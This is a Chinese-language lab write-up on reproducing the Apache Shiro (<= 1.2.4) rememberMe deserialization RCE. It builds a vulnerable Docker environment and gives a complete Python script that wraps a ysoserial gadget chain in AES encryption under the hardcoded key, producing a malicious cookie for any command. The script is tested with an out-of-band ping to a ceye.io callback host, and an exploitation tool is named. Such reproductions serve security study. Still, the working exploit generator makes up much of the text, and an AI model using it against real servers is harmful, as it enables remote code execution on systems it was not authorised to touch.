漏洞简述
Shiro默认使用了CookieRememberMeManager, 其处理cookie的流程是: 得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化.然而AES的密钥是硬编码的, 密钥泄漏的根本原因是开发人员在开发过程中部分代码直接使用了网上的一些开源的项目代码,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
影响版本Apache Shiro <= 1.2.4
Docker容器
环境搭建
docker pull medicean/vulapps:s_shiro_1
>docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
>docker exec -it ID /bin/bash
访问http://192.168.213.128:8081/login.jsp
到此Shiro环境已经搭建好
漏洞复现
登录页面输入账户密码抓包,回包发现Shiro标志。
(1)使用脚本生成payload.cookie
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar路径', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("新建payload.cookie路径", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
执行脚本,生成payload文件
python3 python脚本路径 "ping xxxx.ceye.io"
登录进去并抓包,替换cookie值
查看ceye平台
漏洞存在
(2)使用工具ShiroExploit.V2.51